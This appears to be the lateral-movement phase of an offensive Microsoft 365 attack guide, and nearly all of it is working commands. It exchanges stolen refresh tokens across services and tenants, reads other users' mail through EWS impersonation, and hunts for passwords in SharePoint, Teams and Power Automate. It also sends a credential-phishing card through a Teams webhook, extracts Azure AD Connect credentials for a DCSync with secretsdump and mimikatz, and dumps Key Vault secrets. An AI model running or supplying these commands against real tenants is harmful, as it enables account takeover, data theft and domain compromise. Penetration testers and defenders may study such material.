Lateral Movement
Pivot across M365 services, cross tenant boundaries, and move between cloud and on-premises infrastructure using compromised identities and tokens.
Phase 6 Checklist
0 / 8 completed🔀 Cross-Service Pivoting
Microsoft uses a concept called Family of Client IDs (FOCI). When a user authenticates to one first-party Microsoft application, the resulting refresh token can be exchanged for access tokens to other first-party Microsoft applications within the same FOCI family — without requiring the user to re-authenticate or consent. This is the foundation of lateral movement across M365 services.
The TokenTactics PowerShell module by Steve Borosh automates this process. Once you have a valid refresh token (obtained through device code phishing, token cache theft, or other means), you can systematically exchange it for access tokens targeting different M365 resource endpoints.
Exchange Refresh Token for Microsoft Graph Access
# Import TokenTactics module
Import-Module TokenTactics
# Exchange a refresh token for a Microsoft Graph access token
Invoke-RefreshToMSGraphToken -refreshToken $RefreshToken -domain "target.com" -Device "Mac"
# The resulting token is stored in $MSGraphToken
# Use it to query the Graph API
$Headers = @{ "Authorization" = "Bearer $($MSGraphToken.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Exchange Refresh Token for Outlook/Exchange Access
# Exchange refresh token for Outlook API access
Invoke-RefreshToOutlookToken -refreshToken $RefreshToken -domain "target.com"
# Access mailbox via the Outlook REST API
$Headers = @{ "Authorization" = "Bearer $($OutlookToken.access_token)" }
Invoke-RestMethod -Uri "https://outlook.office365.com/api/v2.0/me/messages?`$top=50" -Headers $Headers
Exchange Refresh Token for SharePoint Access
# Exchange refresh token for SharePoint Online access
Invoke-RefreshToSharePointToken -refreshToken $RefreshToken -domain "target.com"
# List SharePoint sites accessible to the user
$Headers = @{ "Authorization" = "Bearer $($SharePointToken.access_token)" }
Invoke-RestMethod -Uri "https://target.sharepoint.com/_api/web/lists" -Headers $Headers
Exchange Refresh Token for Azure Management Access
# Exchange refresh token for Azure Resource Manager access
Invoke-RefreshToAzureManagementToken -refreshToken $RefreshToken -domain "target.com"
# Exchange refresh token for Azure Core Management (Substrate) access
Invoke-RefreshToSubstrateToken -refreshToken $RefreshToken -domain "target.com"
# Exchange refresh token for Microsoft Teams access
Invoke-RefreshToTeamsToken -refreshToken $RefreshToken -domain "target.com"
# Exchange refresh token for OneDrive access
Invoke-RefreshToOneDriveToken -refreshToken $RefreshToken -domain "target.com"
Manual Token Exchange via OAuth2 Token Endpoint
# Manual FOCI token exchange using a known FOCI client ID
# Common FOCI client IDs:
# Microsoft Office : d3590ed6-52b3-4102-aeff-aad2292ab01c
# Microsoft Teams : 1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Outlook Mobile : 27922004-5251-4030-b22d-91ecd9a37ea4
# Azure CLI : 04b07795-ee59-4d68-a789-16c0f730f710
$body = @{
"grant_type" = "refresh_token"
"refresh_token" = $RefreshToken
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"scope" = "https://graph.microsoft.com/.default offline_access"
}
$response = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/target.com/oauth2/v2.0/token" `
-Body $body -ContentType "application/x-www-form-urlencoded"
# Now use the new access token for Graph API
$response.access_token
With access to Exchange Online, an attacker can pivot laterally by accessing mailboxes beyond the compromised user's own. This includes reading shared mailboxes, exploiting delegate permissions, and using EWS ApplicationImpersonation to read any user's mail if the compromised account holds that role.
Read the Compromised User's Mail via Graph API
# List recent messages for the current user
GET https://graph.microsoft.com/v1.0/me/messages?$top=50&$orderby=receivedDateTime desc
Authorization: Bearer {access_token}
# Search for messages containing credentials or secrets
GET https://graph.microsoft.com/v1.0/me/messages?$search="password OR secret OR API key OR credential"
Authorization: Bearer {access_token}
# List mail folders (Inbox, Sent, Drafts, etc.)
GET https://graph.microsoft.com/v1.0/me/mailFolders
Authorization: Bearer {access_token}
Access Another User's Mailbox (With Delegate or Admin Permissions)
# Read another user's messages (requires Mail.Read or Mail.ReadWrite application permission,
# or the compromised user has delegate/full access to the target mailbox)
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/messages?$top=50
Authorization: Bearer {access_token}
# Access shared mailboxes
GET https://graph.microsoft.com/v1.0/users/shared-mailbox@target.com/messages
Authorization: Bearer {access_token}
# List mailbox delegate permissions
GET https://graph.microsoft.com/v1.0/users/{user-id}/mailboxSettings
Authorization: Bearer {access_token}
Enumerate Mailbox Permissions via Exchange Online PowerShell
# Connect to Exchange Online
Connect-ExchangeOnline -AccessToken $AccessToken
# Check who has full access to a target mailbox
Get-MailboxPermission -Identity "ceo@target.com" | Where-Object { $_.AccessRights -like "*FullAccess*" }
# Check Send-As permissions
Get-RecipientPermission -Identity "ceo@target.com" | Where-Object { $_.AccessRights -like "*SendAs*" }
# Check Send-on-Behalf permissions
Get-Mailbox -Identity "ceo@target.com" | Select-Object GrantSendOnBehalfTo
# Find all mailboxes where the compromised user has delegate access
Get-Mailbox -ResultSize Unlimited | Get-MailboxPermission | Where-Object { $_.User -like "*compromised-user*" -and $_.AccessRights -like "*FullAccess*" }
EWS ApplicationImpersonation
If the compromised account has been assigned the ApplicationImpersonation management role in Exchange Online, it can impersonate any user and access their mailbox as if it were them. This is a powerful lateral movement technique commonly used by service accounts.
# Check if the compromised user has the ApplicationImpersonation role
Get-ManagementRoleAssignment -Role "ApplicationImpersonation" | Format-List RoleAssigneeName, EffectiveUserName
# Using EWS Managed API to impersonate another user
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$service.Credentials = New-Object Microsoft.Exchange.WebServices.Data.OAuthCredentials($AccessToken)
$service.Url = "https://outlook.office365.com/EWS/Exchange.asmx"
# Impersonate the target user
$service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId(
[Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress,
"target-user@target.com"
)
# Read the target user's inbox
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,
[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
$inbox.FindItems(50) | ForEach-Object { $_.Subject }
Searching Emails for Credentials and Secrets
# GraphRunner - search mailbox for sensitive keywords
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "secret"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "API key"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "SAS token"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "connection string"
SharePoint Online and OneDrive for Business are key repositories of organisational data. With a valid access token, you can enumerate all SharePoint sites the compromised user has access to, search document libraries for sensitive files, and (with admin permissions) access any user's OneDrive.
Enumerate Accessible SharePoint Sites
# List all SharePoint sites in the tenant (requires Sites.Read.All)
GET https://graph.microsoft.com/v1.0/sites?search=*
Authorization: Bearer {access_token}
# Get the root SharePoint site
GET https://graph.microsoft.com/v1.0/sites/root
Authorization: Bearer {access_token}
# List subsites of a specific site
GET https://graph.microsoft.com/v1.0/sites/{site-id}/sites
Authorization: Bearer {access_token}
# List document libraries (drives) for a site
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives
Authorization: Bearer {access_token}
# List files in a specific document library
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives/{drive-id}/root/children
Authorization: Bearer {access_token}
Search Across SharePoint for Sensitive Content
# Search across all SharePoint content for sensitive files
POST https://graph.microsoft.com/v1.0/search/query
Authorization: Bearer {access_token}
Content-Type: application/json
{
"requests": [
{
"entityTypes": ["driveItem"],
"query": {
"queryString": "password OR credentials OR secret OR \"API key\" OR \"connection string\""
},
"from": 0,
"size": 25
}
]
}
# Search for specific file types that often contain secrets
POST https://graph.microsoft.com/v1.0/search/query
Authorization: Bearer {access_token}
Content-Type: application/json
{
"requests": [
{
"entityTypes": ["driveItem"],
"query": {
"queryString": "filetype:xlsx OR filetype:csv OR filetype:kdbx OR filetype:config OR filetype:env"
},
"from": 0,
"size": 25
}
]
}
Access Another User's OneDrive (Admin Permissions)
# Access a specific user's OneDrive (requires Files.Read.All or Sites.Read.All)
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/drive/root/children
Authorization: Bearer {access_token}
# Search a specific user's OneDrive
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/drive/root/search(q='password')
Authorization: Bearer {access_token}
# Download a specific file
GET https://graph.microsoft.com/v1.0/drives/{drive-id}/items/{item-id}/content
Authorization: Bearer {access_token}
GraphRunner — Automated SharePoint Enumeration
# GraphRunner - enumerate accessible SharePoint sites
Invoke-GraphRunner -Tokens $tokens
# Search SharePoint for interesting files
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
# Download interesting files from SharePoint
Invoke-DownloadSharePointFile -Tokens $tokens -DriveId $driveId -FileId $fileId
💬 Teams & Communication Pivoting
Microsoft Teams is a rich source of lateral movement opportunities. Users routinely share credentials, internal URLs, webhook tokens, and sensitive business information in Teams messages. Teams files are stored in SharePoint, so file-based access follows the same patterns as Step 3. Additionally, Teams apps and tabs can be abused to deliver payloads.
Enumerate Teams and Channels
# List all Teams the compromised user is a member of
GET https://graph.microsoft.com/v1.0/me/joinedTeams
Authorization: Bearer {access_token}
# List channels in a specific Team
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels
Authorization: Bearer {access_token}
# List all Teams in the tenant (requires admin permissions)
GET https://graph.microsoft.com/v1.0/groups?$filter=resourceProvisioningOptions/Any(x:x eq 'Team')
Authorization: Bearer {access_token}
Read Teams Messages and Search for Credentials
# Read messages from a channel
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages
Authorization: Bearer {access_token}
# Read replies to a specific message
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages/{message-id}/replies
Authorization: Bearer {access_token}
# Read 1:1 and group chat messages
GET https://graph.microsoft.com/v1.0/me/chats
Authorization: Bearer {access_token}
GET https://graph.microsoft.com/v1.0/me/chats/{chat-id}/messages
Authorization: Bearer {access_token}
GraphRunner — Automated Teams Enumeration
# Use GraphRunner to dump Teams messages
Invoke-DumpTeamsMessages -Tokens $tokens
# Search Teams messages for sensitive keywords
Invoke-SearchTeams -Tokens $tokens -SearchTerm "password"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "webhook"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "token"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "API key"
Teams Webhook Abuse
Incoming webhook URLs posted in Teams channels can be used to send messages to those channels, potentially for phishing or social engineering within the organisation.
# If you find a Teams incoming webhook URL, you can post messages to the channel
$webhookUrl = "https://target.webhook.office.com/webhookb2/..."
$body = @{
"@type" = "MessageCard"
"summary" = "IT Notification"
"sections" = @(
@{
"activityTitle" = "Action Required: Password Reset"
"text" = "Please verify your credentials at the link below."
}
)
} | ConvertTo-Json -Depth 10
Invoke-RestMethod -Uri $webhookUrl -Method POST -Body $body -ContentType "application/json"
Access Teams Files (Stored in SharePoint)
# Teams files are stored in the associated SharePoint site
# Get the SharePoint site associated with a Team
GET https://graph.microsoft.com/v1.0/groups/{team-id}/sites/root
Authorization: Bearer {access_token}
# List files in the Team's default document library
GET https://graph.microsoft.com/v1.0/groups/{team-id}/drive/root/children
Authorization: Bearer {access_token}
# Get files from a specific channel folder
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/filesFolder
Authorization: Bearer {access_token}
The Power Platform (Power Automate, Power Apps, Power BI) is a frequently overlooked attack surface. Power Automate flows often contain hardcoded credentials, API keys, and connection strings in their definitions. Flows can also have connectors to external services (databases, SaaS applications, on-premises systems) that an attacker can abuse for further lateral movement.
Enumerate Power Automate Environments and Flows
# List Power Platform environments accessible to the user
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments?api-version=2016-11-01
Authorization: Bearer {management_access_token}
# List flows in a specific environment
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/flows?api-version=2016-11-01
Authorization: Bearer {management_access_token}
# Get details of a specific flow (may reveal credentials in flow definition)
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/flows/{flow-id}?api-version=2016-11-01
Authorization: Bearer {management_access_token}
Enumerate Power Automate Connections
# List connections in an environment (connectors to external services)
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/connections?api-version=2016-11-01
Authorization: Bearer {management_access_token}
# Get connection details (may reveal connection type, endpoints, and stored credentials)
GET https://management.azure.com/providers/Microsoft.ProcessSimple/environments/{environment-id}/connections/{connection-id}?api-version=2016-11-01
Authorization: Bearer {management_access_token}
Enumerate Power Apps
# List Power Apps accessible to the user
GET https://management.azure.com/providers/Microsoft.PowerApps/apps?api-version=2016-11-01
Authorization: Bearer {management_access_token}
# Get details of a specific app (may reveal data sources, connectors)
GET https://management.azure.com/providers/Microsoft.PowerApps/apps/{app-id}?api-version=2016-11-01
Authorization: Bearer {management_access_token}
PowerShell — Power Platform Enumeration
# Install the Power Apps admin module
Install-Module -Name Microsoft.PowerApps.Administration.PowerShell
Install-Module -Name Microsoft.PowerApps.PowerShell
# Connect and enumerate environments
Add-PowerAppsAccount
Get-AdminPowerAppEnvironment
# List all flows in all environments
Get-AdminFlow
# List all Power Apps
Get-AdminPowerApp
# List all connections
Get-AdminPowerAppConnection
# List all custom connectors (may reveal custom API endpoints)
Get-AdminPowerAppConnector
🌐 Cross-Tenant & Hybrid Movement
Azure AD B2B (Business-to-Business) collaboration allows users from one tenant to access resources in another tenant as guest users. If the compromised tenant has B2B relationships, the compromised identity (or tokens) may be able to access partner organisation tenants. Cross-tenant access policies control this, but misconfigurations are common.
Enumerate B2B Relationships and Cross-Tenant Access Policies
# List cross-tenant access policy partners
GET https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/partners
Authorization: Bearer {access_token}
# Get the default cross-tenant access policy
GET https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/default
Authorization: Bearer {access_token}
# Enumerate guest users in the current tenant (users from other tenants)
GET https://graph.microsoft.com/v1.0/users?$filter=userType eq 'Guest'
Authorization: Bearer {access_token}
# Check partner-specific policy details
GET https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/partners/{partner-tenant-id}
Authorization: Bearer {access_token}
Discover Partner Tenants Through User Properties
# Using Microsoft Graph PowerShell to find guest users and their home tenants
Connect-MgGraph -AccessToken $AccessToken
# List all guest users and their source tenants
Get-MgUser -Filter "userType eq 'Guest'" -All | Select-Object DisplayName, Mail, ExternalUserState, CreationType
# Extract unique partner tenant domains from guest UPNs
Get-MgUser -Filter "userType eq 'Guest'" -All | ForEach-Object {
($_.Mail -split "@")[1]
} | Sort-Object -Unique
Attempt Access to Partner Tenant as Guest
# If the compromised user has been invited as a guest to another tenant,
# request a token scoped to that partner tenant
$body = @{
"grant_type" = "refresh_token"
"refresh_token" = $RefreshToken
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"scope" = "https://graph.microsoft.com/.default offline_access"
}
# Authenticate against the PARTNER tenant's token endpoint
$partnerToken = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/{partner-tenant-id}/oauth2/v2.0/token" `
-Body $body -ContentType "application/x-www-form-urlencoded"
# Enumerate what is accessible in the partner tenant
$Headers = @{ "Authorization" = "Bearer $($partnerToken.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/organization" -Headers $Headers
In hybrid environments using Azure AD Connect (now Entra Connect), the synchronisation service account (MSOL_ account) has DCSync-equivalent permissions in on-premises Active Directory. If you can compromise the Azure AD Connect server or extract the sync account credentials, you can pivot from cloud to on-prem AD — and vice versa. This is one of the most critical lateral movement paths in hybrid M365 environments.
Identify Azure AD Connect in the Environment
# Check if Azure AD Connect is configured (via Graph API)
$Headers = @{ "Authorization" = "Bearer $($GraphToken.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/organization" -Headers $Headers | Select-Object -ExpandProperty value | Select-Object onPremisesSyncEnabled, onPremisesLastSyncDateTime
# If onPremisesSyncEnabled is true, Azure AD Connect is in use
# Enumerate the MSOL_ service account in the tenant
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users?`$filter=startswith(displayName,'MSOL_')" -Headers $Headers
# Or look for the Directory Synchronization Accounts role
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/directoryRoles?`$filter=displayName eq 'Directory Synchronization Accounts'" -Headers $Headers
Extract Azure AD Connect Sync Credentials (If Server is Compromised)
# On the Azure AD Connect server (requires local admin on the server)
# AADInternals can extract the sync account credentials from the local database
Import-Module AADInternals
# Extract the MSOL_ account credentials stored locally
Get-AADIntSyncCredentials
# Output will contain:
# Name : MSOL_abc123def456
# Domain : target.com
# UserName : MSOL_abc123def456@target.onmicrosoft.com
# Password : [cleartext password]
# These credentials can now be used for DCSync against on-prem AD
DCSync Using the MSOL_ Account Credentials
# Use Impacket's secretsdump.py with the extracted MSOL_ credentials
# to perform a DCSync attack against the on-premises domain controller
impacket-secretsdump 'target.local/MSOL_abc123def456:ExtractedPassword@dc01.target.local'
# This will dump all user password hashes from on-prem AD, including:
# - Domain Admin NTLM hashes
# - krbtgt hash (enables Golden Ticket attacks)
# - All user password hashes
# Alternative: Use Mimikatz DCSync from a domain-joined machine
# mimikatz # lsadump::dcsync /domain:target.local /user:Administrator
Cloud-to-On-Prem via Password Hash Sync (PHS)
# If you have Global Admin in the cloud tenant and PHS is enabled,
# AADInternals can extract on-prem password hashes that were synced to the cloud
Import-Module AADInternals
# Get access token for AAD Graph
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
# Extract password hashes synced from on-prem to Entra ID
Get-AADIntSyncObjects -AccessToken $token | Select-Object SourceAnchor, CloudAnchor, userPrincipalName
# Set the sync password for a specific user (effectively resetting their on-prem password)
Set-AADIntUserPassword -AccessToken $token -SourceAnchor "base64-anchor" -Password "NewP@ssw0rd!"
Entra ID is the identity provider for both M365 and Azure. If the compromised user (or a token exchanged via FOCI) has access to Azure subscriptions, you can pivot from the M365 attack chain into Azure infrastructure — accessing virtual machines, Key Vaults, Storage Accounts, databases, and more. This represents a significant expansion of the attack surface.
Enumerate Azure Subscriptions
# Connect to Azure using the exchanged Azure Management token
Connect-AzAccount -AccessToken $AzureManagementToken -AccountId "user@target.com"
# List all subscriptions the user has access to
Get-AzSubscription
# Set context to a specific subscription
Set-AzContext -SubscriptionId "subscription-guid"
# List all resource groups in the subscription
Get-AzResourceGroup
# List all resources in the subscription
Get-AzResource
Enumerate Key Vaults and Extract Secrets
# List all Key Vaults in the subscription
Get-AzKeyVault
# List secrets in a Key Vault
Get-AzKeyVaultSecret -VaultName "target-keyvault"
# Retrieve a secret value
$secret = Get-AzKeyVaultSecret -VaultName "target-keyvault" -Name "db-connection-string" -AsPlainText
# List keys in a Key Vault
Get-AzKeyVaultKey -VaultName "target-keyvault"
# List certificates in a Key Vault
Get-AzKeyVaultCertificate -VaultName "target-keyvault"
Enumerate Storage Accounts
# List all storage accounts
Get-AzStorageAccount
# Get storage account keys (if you have sufficient permissions)
Get-AzStorageAccountKey -ResourceGroupName "rg-production" -Name "targetstorage"
# List containers in a storage account
$ctx = New-AzStorageContext -StorageAccountName "targetstorage" -StorageAccountKey $key
Get-AzStorageContainer -Context $ctx
# List blobs in a container
Get-AzStorageBlob -Container "backups" -Context $ctx
# Download a blob
Get-AzStorageBlobContent -Container "backups" -Blob "db-backup.bak" -Destination "./db-backup.bak" -Context $ctx
Enumerate Virtual Machines
# List all VMs in the subscription
Get-AzVM
# Get detailed VM information
Get-AzVM -ResourceGroupName "rg-production" -Name "vm-web-01" -Status
# Run a command on a VM (if you have Contributor or VM Contributor role)
Invoke-AzVMRunCommand -ResourceGroupName "rg-production" -VMName "vm-web-01" `
-CommandId "RunPowerShellScript" -ScriptString "whoami; ipconfig"
# Check for managed identities on VMs
Get-AzVM | Select-Object Name, @{
N='ManagedIdentity'; E={$_.Identity.Type}
}
Azure REST API — Direct Enumeration
# List subscriptions via the Azure Resource Manager API
GET https://management.azure.com/subscriptions?api-version=2022-12-01
Authorization: Bearer {azure_management_token}
# List all resources in a subscription
GET https://management.azure.com/subscriptions/{sub-id}/resources?api-version=2021-04-01
Authorization: Bearer {azure_management_token}
# List role assignments (who has access to what)
GET https://management.azure.com/subscriptions/{sub-id}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01
Authorization: Bearer {azure_management_token}
# Check current user's role assignments
GET https://management.azure.com/subscriptions/{sub-id}/providers/Microsoft.Authorization/roleAssignments?$filter=principalId eq '{user-object-id}'&api-version=2022-04-01
Authorization: Bearer {azure_management_token}